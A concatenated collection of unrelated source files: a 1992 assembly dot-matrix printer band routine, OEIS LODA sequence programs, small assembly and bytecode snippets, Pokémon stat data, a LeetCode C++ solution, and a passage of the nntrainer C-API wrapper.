DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 03/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrSend24HiresLines proc near
uses cx
curBand local BandVariables
.enter inherit
entry:
call PrLoadBandBuffer ;fill the bandBuffer
call PrScanBandBuffer ;determine live print width.
mov cx,dx ;
jcxz colors ;if no data, just exit.
mov si,offset pr_codes_SetHiGraphics
call PrSendGraphicControlCode ;send the graphics code for this band
jc exit
call PrRotate24LinesEvenColumns ;send an interleave
jc exit
mov si,offset pr_codes_SetHiGraphics
;cx must live from ScanBuffer to here for this to work.
call PrSendGraphicControlCode ;send the graphics code for this band
jc exit
call PrRotate24LinesOddColumns
jc exit
colors:
call SetNextCMYK
mov cx,es:[PS_curColorNumber] ;see if the color is the first.
jcxz exit
mov ax,curBand.BV_bandStart
mov es:[PS_newScanNumber],ax ;set back to start of band
jmp entry ;do the next color.
exit:
.leave
ret
PrSend24HiresLines endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrRotate24LinesEvenColumns
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Print a high density row
only the even columns.... the odd ones are untouched .
MED_RES_BUFF_HEIGHT must be the height of the printhead
or less.
If MED_RES_BUFF_HEIGHT is less than 24, the routine will
rotate into the top MED_RES_BUFF_HEIGHT lines of a 24 pin
printhead configuration. MED_RES_BUFF_HEIGHT must be at least
17 for this to work right.
CALLED BY: INTERNAL
PASS:
bx = byte width of live print area
es = segment address of PState
RETURN:
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 02/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrRotate24LinesEvenColumns proc near
uses ax, bx, cx, dx, ds, di, si, bp
.enter
mov bp,es:[PS_bandBWidth] ;width of bitmap
mov si,offset GPB_bandBuffer ;source of data.
mov ds,es:[PS_bufSeg] ;get segment of output buffer.
;get the scanned byte width to
mov di, offset GPB_outputBuffer ;output buffer
call PrClearOutputBuffer ;clean out any bytes that are in the
;desired zero column positions.
groupLoop:
push si ;save the start point
mov ah, MED_RES_BUFF_HEIGHT
if MED_RES_BUFF_HEIGHT ne 24
clr cx ;init the destination bytes.
mov dx,cx
endif
byteLoop:
; disperse the pixels from this scanline to the eight
; successive groups on which we're currently working
mov al,ds:[si] ; byte so we can get pixels
shr al
shr al
rcl dh
shr al
shr al
rcl dl
shr al
shr al
rcl ch
shr al
shr al
rcl cl
; advance to the next scanline. If we've completed another eight
; of these loops, the bytes are ready to be stored. since
; slCount (ah) starts at 24, if the low 3 bits are 0 after the
; decrement, we've done another 8
add si, bp ; point si at next sl
dec ah
test ah, 0x7
jnz byteLoop
; fetch start of the byte group from dest and store all the
; bytes we've worked up, leaving zeros in between these
; columns...
mov ds:[di], cl
mov ds:[di+6], ch
mov ds:[di+12], dl
mov ds:[di+18], dh
inc di
; counter.
tst ah ; at end of the group?
jnz byteLoop ; no! keep going...
; advance the destination to the start of the next group (21
; bytes away since it was incremented 3 times during the loop).
add di, 21
cmp di,PRINT_OUTPUT_BUFFER_SIZE
jb bufferNotFull
call PrSendOutputBuffer
jc exitPop
bufferNotFull:
; advance the scanline start position one byte to get to next
; set of 8 pixels in the buffer
pop si ;get old start point
inc si
dec bx ; any more bytes in the row?
jnz groupLoop
or di,di ;any bytes remaining in outputBuffer?
jz exit ;if not, just exit.
call PrSendOutputBuffer ;flush out the partial buffer.
exit:
.leave
ret
exitPop:
pop si ;clean up stack...
jmp exit ;and exit....
PrRotate24LinesEvenColumns endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrRotate24LinesOddColumns
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Print a high density row
only the odd columns.... the even ones are untouched .
MED_RES_BUFF_HEIGHT must be the height of the printhead
or less.
If MED_RES_BUFF_HEIGHT is less than 24, the routine will
rotate into the top MED_RES_BUFF_HEIGHT lines of a 24 pin
printhead configuration. MED_RES_BUFF_HEIGHT must be at least
17 for this to work right.
CALLED BY: INTERNAL
PASS:
bx = width of live print area
es = segment address of PState
RETURN:
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 02/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrRotate24LinesOddColumns proc near
uses ax, bx, cx, dx, ds, di, si, bp
.enter
mov bp,es:[PS_bandBWidth] ;width of bitmap
mov si,offset GPB_bandBuffer ;source of data.
mov ds,es:[PS_bufSeg] ;get segment of output buffer.
mov di, offset GPB_outputBuffer ;output buffer
call PrClearOutputBuffer ;clean out any bytes that are in the
;desired zero column positions.
groupLoop:
push si ;save the start point
mov ah, MED_RES_BUFF_HEIGHT
if MED_RES_BUFF_HEIGHT ne 24
clr cx ;init the destination bytes.
mov dx,cx
endif
byteLoop:
; disperse the pixels from this scanline to the eight
; successive groups on which we're currently working
mov al,ds:[si] ; byte so we can get pixels
shr al
rcl dh
shr al
shr al
rcl dl
shr al
shr al
rcl ch
shr al
shr al
rcl cl
; advance to the next scanline. If we've completed another eight
; of these loops, the bytes are ready to be stored. since
; slCount (ah) starts at 24, if the low 3 bits are 0 after the
; decrement, we've done another 8
add si, bp ; point si at next sl
dec ah
test ah, 0x7
jnz byteLoop
; fetch start of the byte group from dest and store all the
; bytes we've worked up, leaving zeros in between these
; columns...
mov ds:[di+3], cl
mov ds:[di+9], ch
mov ds:[di+15], dl
mov ds:[di+21], dh
inc di
; counter.
tst ah ; at end of the group?
jnz byteLoop ; no! keep going...
; advance the destination to the start of the next group (21
; bytes away since it was incremented 3 times during the loop).
add di, 21
cmp di,PRINT_OUTPUT_BUFFER_SIZE
jb bufferNotFull
call PrSendOutputBuffer
jc exitPop
bufferNotFull:
; advance the scanline start position one byte to get to next
; set of 8 pixels in the buffer
pop si ;get back start point.
inc si
dec bx ;done with this line?
jnz groupLoop
or di,di ;any bytes remaining in output buff?
jz exit ;if not, just exit.
call PrSendOutputBuffer ;flush out the partial buffer.
exit:
.leave
ret
exitPop:
pop si ;clean up stack...
jmp exit ;and exit....
PrRotate24LinesOddColumns endp
|
; A036441: a(n+1) = next number having largest prime dividing a(n) as a factor, with a(1) = 2.
; Submitted by Jamie Morken(s4)
; 2,4,6,9,12,15,20,25,30,35,42,49,56,63,70,77,88,99,110,121,132,143,156,169,182,195,208,221,238,255,272,289,306,323,342,361,380,399,418,437,460,483,506,529,552,575,598,621,644,667,696,725,754,783,812,841,870,899,930,961,992,1023,1054,1085,1116,1147,1184,1221,1258,1295,1332,1369,1406,1443,1480,1517,1558,1599,1640,1681,1722,1763,1806,1849,1892,1935,1978,2021,2068,2115,2162,2209,2256,2303,2350,2397,2444,2491,2544,2597
mov $1,1
lpb $0
sub $0,1
mov $2,$1
seq $2,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
add $1,$2
lpe
mov $0,$1
add $0,1
|
; A042420: Numerators of continued fraction convergents to sqrt(738).
; Submitted by Jon Maiga
; 27,163,8829,53137,2878227,17322499,938293173,5647081537,305880696171,1840931258563,99716168658573,600137943210001,32507165101998627,195643128555201763,10597236107082893829,63779059771052564737,3454666463743921389627,20791777842234580902499,1126210669944411290124573,6778055797508702321649937,367141223735414336659221171,2209625398209994722276976963,119686912727075129339615977173,720331101760660770759972840001,39017566407802756750378149337227,234825729548577201273028868863363
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,9
mul $2,27
add $3,$2
lpe
mov $0,$3
|
; A002817: Doubly triangular numbers: a(n) = n*(n+1)*(n^2+n+2)/8.
; 0,1,6,21,55,120,231,406,666,1035,1540,2211,3081,4186,5565,7260,9316,11781,14706,18145,22155,26796,32131,38226,45150,52975,61776,71631,82621,94830,108345,123256,139656,157641,177310,198765,222111,247456,274911,304590,336610,371091,408156,447931,490545,536130,584821,636756,692076,750925,813450,879801,950131,1024596,1103355,1186570,1274406,1367031,1464616,1567335,1675365,1788886,1908081,2033136,2164240,2301585,2445366,2595781,2753031,2917320,3088855,3267846,3454506,3649051,3851700,4062675,4282201,4510506,4747821,4994380,5250420,5516181,5791906,6077841,6374235,6681340,6999411,7328706,7669486,8022015,8386560,8763391,9152781,9555006,9970345,10399080,10841496,11297881,11768526,12253725
add $0,1
bin $0,2
add $0,1
bin $0,2
|
global _start
section .text
_start:
section .data
number: db "69", 10 ; hardcoded newlines as newlines not supported yet
section .text
mov rax, 1 ; syscall for write
mov rdi, 1 ; file handle 1 is stdout
mov rsi, number ; ardress of the string to output
mov rdx, 4 ; numbers of bytes for the memory of the variable value
syscall ; invoke the operating system to do a write
mov rax, 60 ; system call for exit
xor rdi, rdi ; exit code 0
syscall ; system call for exit
|
; A093610: Lower Beatty sequence for e^G, G = Euler's gamma constant.
; 1,3,4,6,7,9,10,12,14,15,17,18,20,21,23,24,26,28,29,31,32,34,35,37,39,40,42,43,45,46,48,49,51,53,54,56,57,59,60,62,64,65,67,68,70,71,73,74,76,78,79,81,82,84,85,87,89,90,92,93,95,96,98,99,101,103,104,106,107
lpb $0,1
sub $0,1
add $1,5
lpe
mul $1,5
add $1,8
div $1,16
add $1,1
|
.constant_pool
.const 0 string [start]
.const 1 string [constructor]
.const 2 int [1]
.const 3 string [um]
.const 4 int [2]
.const 5 string [dois]
.const 6 string [x]
.const 7 string [number1]
.const 8 string [msg1]
.const 9 string [number2]
.const 10 string [msg2]
.const 11 string [number1=]
.const 12 string [ msg1=]
.const 13 int [4]
.const 14 string [io.writeln]
.const 15 string [number2=]
.const 16 string [ msg2=]
.end
.entity start
.valid_context_when (always)
.method constructor
ldconst 2 --> [1]
ldconst 3 --> [um]
ldconst 4 --> [2]
ldconst 5 --> [dois]
ldself
mcall 6 --> [x]
exit
.end
.method x
.param 0 int number1
.param 1 string msg1
.param 2 int number2
.param 3 string msg2
ldconst 11 --> [number1=]
ldparam 0 --> [number1]
ldconst 12 --> [ msg1=]
ldparam 1 --> [msg1]
ldconst 13 --> [4]
lcall 14 --> [io.writeln]
ldconst 15 --> [number2=]
ldparam 2 --> [number2]
ldconst 16 --> [ msg2=]
ldparam 3 --> [msg2]
ldconst 13 --> [4]
lcall 14 --> [io.writeln]
ret
.end
.end
|
copyright zengfr site:http://github.com/zengfr/romhack
0070EE move.b ($b,A2), ($3f,A3) [container+16]
0070F4 andi.b #$7f, ($3f,A3) [container+3F]
0070FA bsr $72f6 [container+3F]
007128 move.b ($b,A2), ($3f,A3) [container+16]
00712E andi.b #$7f, ($3f,A3) [container+3F]
007134 bsr $72f6 [container+3F]
copyright zengfr site:http://github.com/zengfr/romhack
|
db DEX_WOBBUFFET ; pokedex id
db 190 ; base hp
db 33 ; base attack
db 58 ; base defense
db 33 ; base speed
db 58 ; base special
db PSYCHIC ; species type 1
db PSYCHIC ; species type 2
db 34 ; catch rate
db 20 ; base exp yield
INCBIN "pic/ymon/wobbuffet.pic",0,1 ; 66, sprite dimensions
dw WobbuffetPicFront
dw WobbuffetPicBack
; attacks known at lvl 0
db COUNTER
db MIRROR_COAT
db BABYDOLLEYES
db SPLASH
db 5 ; growth rate
; learnset
tmlearn 0
tmlearn 0
tmlearn 0
tmlearn 0
tmlearn 0
tmlearn 0
tmlearn 0
db BANK(WobbuffetPicFront)
|
//
// 376.cpp
// LeetCode
//
// Created by Narikbi on 23.03.17.
// Copyright © 2017 app.leetcode.kz. All rights reserved.
//
#include <stdio.h>
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <deque>
#include <queue>
#include <set>
#include <map>
#include <stack>
#include <cmath>
#include <numeric>
#include <unordered_map>
#include <sstream>
using namespace std;
int wiggleMaxLength(vector<int>& nums) {
int solution = 0;
if (nums.size()) {
solution = 1;
int bigger = 0;
for (int i = 1; i < nums.size(); i++) {
if (nums[i] == nums[i-1]) {
continue;
} else if (nums[i] > nums[i-1]) {
if (bigger == 0 || bigger == 2) {
bigger = 1;
solution++;
}
} else {
if (bigger == 0 || bigger == 1) {
bigger = 2;
solution++;
}
}
}
}
return solution;
}
|
/**
* Copyright (C) 2020 Samsung Electronics Co., Ltd. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @file nntrainer.cpp
* @date 02 April 2020
* @brief NNTrainer C-API Wrapper.
* This allows to construct and control NNTrainer Model.
* @see https://github.com/nnstreamer/nntrainer
* @author Jijoong Moon <jijoong.moon@samsung.com>
* @author Parichay Kapoor <pk.kapoor@samsung.com>
* @bug No known bugs except for NYI items
*/
#include <array>
#include <cstdarg>
#include <cstring>
#include <sstream>
#include <string>
#include <nntrainer.h>
#include <nntrainer_internal.h>
#include <nntrainer_error.h>
#include <nntrainer_log.h>
/**
* @brief Global lock for nntrainer C-API
* @details This lock ensures that ml_train_model_destroy is thread safe. All
* other API functions use the mutex from their object handle. However
* for destroy, object mutex cannot be used as their handles are
* destroyed at destroy.
*/
std::mutex GLOCK;
/**
* @brief Adopt the lock to the current scope for the object
*/
#define ML_TRAIN_ADOPT_LOCK(obj, obj_lock) \
std::lock_guard<std::mutex> obj_lock(obj->m, std::adopt_lock)
/**
* @brief function to wrap an exception to predefined error value
* @param[in] func must be wrapped inside lambda []() -> int otherwise compile
* error will be raised
* @retval errorno
*/
template <typename F> static int nntrainer_exception_boundary(F &&func) {
int status = ML_ERROR_NONE;
/**< Exception boundary for cpp exceptions */
/// @note aware that some exception are inheritance of others so should be
/// caught before than some
try {
status = func();
} catch (nntrainer::exception::not_supported &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_INVALID_PARAMETER;
} catch (nntrainer::exception::permission_denied &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_PERMISSION_DENIED;
} catch (std::invalid_argument &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_INVALID_PARAMETER;
} catch (std::range_error &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_INVALID_PARAMETER;
} catch (std::out_of_range &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_INVALID_PARAMETER;
} catch (std::logic_error &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_INVALID_PARAMETER;
} catch (std::bad_alloc &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_OUT_OF_MEMORY;
} catch (std::exception &e) {
ml_loge("%s %s", typeid(e).name(), e.what());
return ML_ERROR_UNKNOWN;
} catch (...) {
ml_loge("unknown error type thrown");
return ML_ERROR_UNKNOWN;
}
/**< Exception boundary for specialized error code */
/// @todo deprecate this with #233
switch (status) {
case ML_ERROR_BAD_ADDRESS:
return ML_ERROR_OUT_OF_MEMORY;
case ML_ERROR_RESULT_OUT_OF_RANGE:
return ML_ERROR_INVALID_PARAMETER;
default:
return status;
}
}
typedef std::function<int()> returnable;
/**
* @brief std::make_shared wrapped with exception boundary
*
* @tparam Tv value type.
* @tparam Tp pointer type.
* @tparam Types args used to construct
* @param target pointer
* @param args args
* @return int error value. ML_ERROR_OUT_OF_MEMORY if fail
*/
template <typename Tv, typename Tp, typename... Types>
static int exception_bounded_make_shared(Tp &target, Types... args) {
returnable f = [&]() {
target = std::make_shared<Tv>(args...);
return ML_ERROR_NONE;
};
return nntrainer_exception_boundary(f);
}
/**
* @brief Create dataset with different types of train/test/valid data source
* @param[in] dataset dataset object to be created
* @param[in] type type of the dataset
* @param[in] train training data source
* @param[in] valid validation data source
* @param[in] test testing data source
*/
template <typename T>
static int ml_train_dataset_create(ml_train_dataset_h *dataset,
ml::train::DatasetType type, T train,
T valid, T test) {
int status = ML_ERROR_NONE;
check_feature_state();
if (dataset == NULL) {
return ML_ERROR_INVALID_PARAMETER;
}
ml_train_dataset *nndataset = new ml_train_dataset;
nndataset->magic = ML_NNTRAINER_MAGIC;
nndataset->in_use = false;
returnable f = [&]() {
if (train != nullptr) {
nndataset->dataset[ML_TRAIN_DATASET_MODE_TRAIN] =
ml::train::createDataset(type, train);
}
if (valid != nullptr) {
nndataset->dataset[ML_TRAIN_DATASET_MODE_VALID] =
ml::train::createDataset(type, valid);
}
if (test != nullptr) {
nndataset->dataset[ML_TRAIN_DATASET_MODE_TEST] =
ml::train::createDataset(type, test);
}
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
delete nndataset;
ml_loge("Error: Create dataset failed");
} else {
*dataset = nndataset;
}
return status;
}
/**
* @brief add ml::train::Dataset to @a dataset
*
* @tparam Args args needed to create the dataset
* @param dataset dataset handle
* @param mode target mode
* @param type dataset type
* @param args args needed to create the dataset
* @retval #ML_ERROR_NONE Successful
* @retval #ML_ERROR_INVALID_PARAMETER if parameter is invalid
*/
template <typename... Args>
static int ml_train_dataset_add_(ml_train_dataset_h dataset,
ml_train_dataset_mode_e mode,
ml::train::DatasetType type, Args &&... args) {
check_feature_state();
std::shared_ptr<ml::train::Dataset> underlying_dataset;
returnable f = [&]() {
underlying_dataset =
ml::train::createDataset(type, std::forward<Args>(args)...);
return ML_ERROR_NONE;
};
int status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
ml_loge("Failed to create dataset");
return status;
}
if (underlying_dataset == nullptr) {
return ML_ERROR_INVALID_PARAMETER;
}
ml_train_dataset *nndataset;
ML_TRAIN_VERIFY_VALID_HANDLE(dataset);
{
ML_TRAIN_GET_VALID_DATASET_LOCKED(nndataset, dataset);
ML_TRAIN_ADOPT_LOCK(nndataset, dataset_lock);
nndataset->dataset[mode] = underlying_dataset;
}
return status;
}
#ifdef __cplusplus
extern "C" {
#endif
/**
* @brief Function to create ml::train::Model object.
*/
static int nn_object(ml_train_model_h *model) {
int status = ML_ERROR_NONE;
if (model == NULL)
return ML_ERROR_INVALID_PARAMETER;
ml_train_model *nnmodel = new ml_train_model;
nnmodel->magic = ML_NNTRAINER_MAGIC;
nnmodel->optimizer = NULL;
nnmodel->dataset = NULL;
*model = nnmodel;
returnable f = [&]() {
nnmodel->model = ml::train::createModel(ml::train::ModelType::NEURAL_NET);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
delete nnmodel;
ml_loge("Error: creating nn object failed");
}
return status;
}
int ml_train_model_construct(ml_train_model_h *model) {
int status = ML_ERROR_NONE;
check_feature_state();
returnable f = [&]() { return nn_object(model); };
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_model_construct_with_conf(const char *model_conf,
ml_train_model_h *model) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
returnable f;
status = ml_train_model_construct(model);
if (status != ML_ERROR_NONE)
return status;
nnmodel = (ml_train_model *)(*model);
m = nnmodel->model;
f = [&]() { return m->loadFromConfig(model_conf); };
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
ml_train_model_destroy(*model);
}
return status;
}
int ml_train_model_compile(ml_train_model_h model, ...) {
int status = ML_ERROR_NONE;
const char *data;
ml_train_model *nnmodel;
returnable f;
std::shared_ptr<ml::train::Model> m;
check_feature_state();
ML_TRAIN_VERIFY_VALID_HANDLE(model);
std::vector<std::string> arg_list;
va_list arguments;
va_start(arguments, model);
while ((data = va_arg(arguments, const char *))) {
arg_list.push_back(data);
}
va_end(arguments);
{
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
}
f = [&]() {
m->setProperty(arg_list);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE)
return status;
f = [&]() { return m->compile(); };
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE)
return status;
f = [&]() { return m->initialize(); };
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE)
return status;
return status;
}
int ml_train_model_run(ml_train_model_h model, ...) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
const char *data;
std::shared_ptr<ml::train::Model> m;
check_feature_state();
ML_TRAIN_VERIFY_VALID_HANDLE(model);
std::vector<std::string> arg_list;
va_list arguments;
va_start(arguments, model);
while ((data = va_arg(arguments, const char *))) {
arg_list.push_back(data);
}
va_end(arguments);
{
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
}
returnable f = [&]() { return m->train(arg_list); };
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_model_destroy(ml_train_model_h model) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
check_feature_state();
{
ML_TRAIN_GET_VALID_MODEL_LOCKED_RESET(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
}
std::shared_ptr<ml::train::Model> m;
m = nnmodel->model;
if (nnmodel->optimizer) {
ML_TRAIN_RESET_VALIDATED_HANDLE(nnmodel->optimizer);
delete nnmodel->optimizer;
}
if (nnmodel->dataset) {
ML_TRAIN_RESET_VALIDATED_HANDLE(nnmodel->dataset);
delete nnmodel->dataset;
}
for (auto &x : nnmodel->layers_map) {
ML_TRAIN_RESET_VALIDATED_HANDLE(x.second);
delete (x.second);
}
nnmodel->layers_map.clear();
delete nnmodel;
return status;
}
static int ml_train_model_get_summary_util(ml_train_model_h model,
ml_train_summary_type_e verbosity,
std::stringstream &ss) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
std::shared_ptr<ml::train::Model> m;
{
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
m = nnmodel->model;
}
returnable f = [&]() {
m->summarize(ss, verbosity);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
return status;
}
int ml_train_model_get_summary(ml_train_model_h model,
ml_train_summary_type_e verbosity,
char **summary) {
int status = ML_ERROR_NONE;
std::stringstream ss;
check_feature_state();
if (summary == nullptr) {
ml_loge("summary pointer is null");
return ML_ERROR_INVALID_PARAMETER;
}
status = ml_train_model_get_summary_util(model, verbosity, ss);
if (status != ML_ERROR_NONE) {
ml_loge("failed make a summary: %d", status);
return status;
}
std::string str = ss.str();
const std::string::size_type size = str.size();
if (size == 0) {
ml_logw("summary is empty for the model!");
}
*summary = (char *)malloc((size + 1) * sizeof(char));
if (*summary == nullptr) {
ml_loge("failed to malloc");
return ML_ERROR_OUT_OF_MEMORY;
}
std::memcpy(*summary, str.c_str(), size + 1);
return status;
}
int ml_train_model_add_layer(ml_train_model_h model, ml_train_layer_h layer) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
ml_train_layer *nnlayer;
check_feature_state();
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
ML_TRAIN_GET_VALID_LAYER_LOCKED(nnlayer, layer);
ML_TRAIN_ADOPT_LOCK(nnlayer, layer_lock);
if (nnlayer->in_use) {
ml_loge("Layer already in use.");
return ML_ERROR_INVALID_PARAMETER;
}
std::shared_ptr<ml::train::Model> m;
std::shared_ptr<ml::train::Layer> l;
m = nnmodel->model;
l = nnlayer->layer;
if (nnmodel->layers_map.count(l->getName())) {
ml_loge("It is not allowed to add layer with same name: %s",
l->getName().c_str());
return ML_ERROR_INVALID_PARAMETER;
}
returnable f = [&]() { return m->addLayer(l); };
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE)
return status;
nnmodel->layers_map.insert({l->getName(), nnlayer});
nnlayer->in_use = true;
return status;
}
int ml_train_model_set_optimizer(ml_train_model_h model,
ml_train_optimizer_h optimizer) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
ml_train_optimizer *nnopt;
check_feature_state();
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
ML_TRAIN_GET_VALID_OPT_LOCKED(nnopt, optimizer);
ML_TRAIN_ADOPT_LOCK(nnopt, opt_lock);
if (nnopt->in_use) {
ml_loge("Optimizer already in use.");
return ML_ERROR_INVALID_PARAMETER;
}
std::shared_ptr<ml::train::Model> m;
std::shared_ptr<ml::train::Optimizer> opt;
m = nnmodel->model;
opt = nnopt->optimizer;
returnable f = [&]() { return m->setOptimizer(opt); };
status = nntrainer_exception_boundary(f);
if (status == ML_ERROR_NONE) {
nnopt->in_use = true;
if (nnmodel->optimizer)
nnmodel->optimizer->in_use = false;
nnmodel->optimizer = nnopt;
}
return status;
}
int ml_train_model_set_dataset(ml_train_model_h model,
ml_train_dataset_h dataset) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
ml_train_dataset *nndataset;
check_feature_state();
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
ML_TRAIN_GET_VALID_DATASET_LOCKED(nndataset, dataset);
ML_TRAIN_ADOPT_LOCK(nndataset, dataset_lock);
if (nndataset->in_use) {
ml_loge("Dataset already in use.");
return ML_ERROR_INVALID_PARAMETER;
}
std::shared_ptr<ml::train::Model> m;
m = nnmodel->model;
returnable f = [&]() {
auto &[train_set, valid_set, test_set] = nndataset->dataset;
int status = ML_ERROR_NONE;
status = m->setDataset(ml::train::DatasetModeType::MODE_TRAIN, train_set);
if (status != ML_ERROR_NONE) {
return status;
}
if (valid_set != nullptr) {
status = m->setDataset(ml::train::DatasetModeType::MODE_VALID, valid_set);
if (status != ML_ERROR_NONE) {
return status;
}
}
if (test_set != nullptr) {
status = m->setDataset(ml::train::DatasetModeType::MODE_TEST, test_set);
if (status != ML_ERROR_NONE) {
return status;
}
}
return status;
};
status = nntrainer_exception_boundary(f);
if (status == ML_ERROR_NONE) {
nndataset->in_use = true;
if (nnmodel->dataset)
nnmodel->dataset->in_use = false;
nnmodel->dataset = nndataset;
}
return status;
}
int ml_train_model_get_layer(ml_train_model_h model, const char *layer_name,
ml_train_layer_h *layer) {
int status = ML_ERROR_NONE;
ml_train_model *nnmodel;
check_feature_state();
ML_TRAIN_GET_VALID_MODEL_LOCKED(nnmodel, model);
ML_TRAIN_ADOPT_LOCK(nnmodel, model_lock);
std::unordered_map<std::string, ml_train_layer *>::iterator layer_iter =
nnmodel->layers_map.find(std::string(layer_name));
/** if layer found in layers_map, return layer */
if (layer_iter != nnmodel->layers_map.end()) {
*layer = layer_iter->second;
return status;
}
/**
* if layer not found in layers_map, get layer from model,
* wrap it in struct nnlayer, add new entry in layer_map and then return
*/
std::shared_ptr<ml::train::Model> m;
std::shared_ptr<ml::train::Layer> l;
m = nnmodel->model;
returnable f = [&]() { return m->getLayer(layer_name, &l); };
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE)
return status;
ml_train_layer *nnlayer = new ml_train_layer;
nnlayer->magic = ML_NNTRAINER_MAGIC;
nnlayer->layer = l;
nnlayer->in_use = true;
nnmodel->layers_map.insert({l->getName(), nnlayer});
*layer = nnlayer;
return status;
}
int ml_train_layer_create(ml_train_layer_h *layer, ml_train_layer_type_e type) {
int status = ML_ERROR_NONE;
ml_train_layer *nnlayer;
check_feature_state();
nnlayer = new ml_train_layer;
nnlayer->magic = ML_NNTRAINER_MAGIC;
nnlayer->in_use = false;
returnable f = [&]() {
nnlayer->layer = ml::train::createLayer((ml::train::LayerType)type);
return ML_ERROR_NONE;
};
status = nntrainer_exception_boundary(f);
if (status != ML_ERROR_NONE) {
delete nnlayer;
ml_loge("Error: Create layer failed");
} else {
*layer = nnlayer;
}
return status;
}
int ml_train_layer_destroy(ml_train_layer_h layer) {
int status = ML_ERROR_NONE;
ml_train_layer *nnlayer;
check_feature_state();
{
ML_TRAIN_GET_VALID_LAYER_LOCKED_RESET(nnlayer, layer);
ML_TRAIN_ADOPT_LOCK(nnlayer, layer_lock);
if (nnlayer->in_use) {
ml_loge("Cannot delete layer already added in a model."
"Delete model will delete this layer.");
return ML_ERROR_INVALID_PARAMETER;
}
}
delete nnlayer;
return status;
}
int ml_train_layer_set_property(ml_train_layer_h layer, ...) {
int status = ML_ERROR_NONE;
ml_train_layer *nnlayer;
const char *data;
std::shared_ptr<ml::train::Layer> l;
check_feature_state();
ML_TRAIN_VERIFY_VALID_HANDLE(layer);
std::vector<std::string> arg_list;
va_list arguments;
va_start(arguments, layer);
while ((data = va_arg(arguments, const char *))) {
arg_list.push_back(data);
}
va_end(arguments);
{
